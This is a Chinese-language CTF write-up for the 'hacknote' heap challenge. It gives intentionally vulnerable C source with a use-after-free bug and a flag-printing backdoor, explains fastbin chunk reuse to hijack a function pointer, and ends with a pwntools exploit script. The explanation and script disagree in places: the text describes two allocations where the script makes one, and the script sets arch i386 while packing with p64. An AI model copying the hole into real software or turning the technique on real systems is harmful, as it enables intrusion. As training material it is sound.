源码:
之所以放源码是因为我发现我的高版本Ubuntu调试总会出现问题,所以大家可以自己用gcc编译一下。
gcc hacknote.c -no-pie -o hacknote (自己编译下,关掉pie会更好)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note {
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
这题的思路无非就是利用了free掉堆块后,对应指向该堆块的指针没有置空,仍然指向这一块内存,因此我们仍然可以使用这个指针去做某些事情,例如在这里的print_note函数,我们仍然可以利用未置空的指针去输出对应的内容,这也是一个造成内存泄露的点。虽然可能不能直接造成拿到shell,但如果有后门或者里面存着重要数据,这也会造成很大的威力
在这里是存在一个后门函数的,就是magic函数,刚好就是system("cat falg"),这也非常明显了,我们就是要通过某种途径,让程序执行这个后门函数。
讲讲这题的利用思路
首先讲下add_note这里究竟做了什么。观察note的结构体结构
struct note {
void (*printnote)();
char *content;
};
这里note结构体存着一个函数指针,然后申请一个0x10大小的空间(64位下16个字节,也就是结构体的大小),其中note->printnote=print_note_content,存着这个函数。那本题我们要做的,就是修改note->printnote,让它去等于我们的magic函数,从而拿到flag
开始:
开始首先连续调用两次add_note函数,创建的size要大于fastbin的大小,我这里是选了0x80,刚好就是unsortedbin的大小的临界(别进fastbin就行,或者说别是0x10)。
那为什么不只创建一个呢,偏要创建两个,不创建3个,4个甚至更多???
原因是这样的,我们的目标是为了控制 listnode 这个结构体数组的随便一个里面的void (*printnote)的指向,我们需要把这个指向修改成我们的magic(后门函数),这里我们选用了listnote[0]的。
想要控制listnode[0]的这块内存,我们该咋办呢
这里我们利用了fastbin的特性,是这样的,当我们malloc一个堆块的时候,如果是在fastbin大小范围内,程序会去遍历fastbin(结构上和栈很像,先进后出),一旦找到对应大小的堆块,就会立即从fastbin里拿出来给你。
在这个程序中,每次调用add_note函数的时候,程序都会先申请一个0x10大小的堆块,再delete_note这个函数中,也会把这个0x10的堆块连同size大小(用户输入的大小)的堆块一起free掉。
重点来了 :如果此时我们再申请一块0x10大小的堆块,系统会从fastbin取下来给你
也就是把listnote[0]这块内存给你,而你有写的权力,你要做的,就是把这个结构体函数指针指向后门函数,也就是listnote->printnote=magic ,还记得我们之前说的没把free掉堆块对应的指针置空吗?这时候麻烦大了,我们仍然可以使用这块内存,当我们调用print_note的时候,我们传入一开始的第一个堆块的指针(虽然已经被free掉了,但是指针仍然指向这个内存),就会去调用magic函数,这样就获得到了flag!!!
下面是exp:
from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./test')
io=process("./test")
gdb.attach(io)
from LibcSearcher import *
io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'128')
io.recv()
io.send(b'aaaaaaaa')
io.recvuntil(b'r choice :')
io.send(b'2')
io.recv()
io.send(b'0')
system_catflag=0x40167A
io.recvuntil(b'r choice :')
io.send(b'1')
io.recv()
io.send(b'16')
io.recv()
payload=p64(system_catflag)
io.send(payload)
print("发送成功!!!")
pause()
io.recvuntil(b'r choice :')
io.send(b'3')
io.recv()
io.send(b'0')
io.interactive()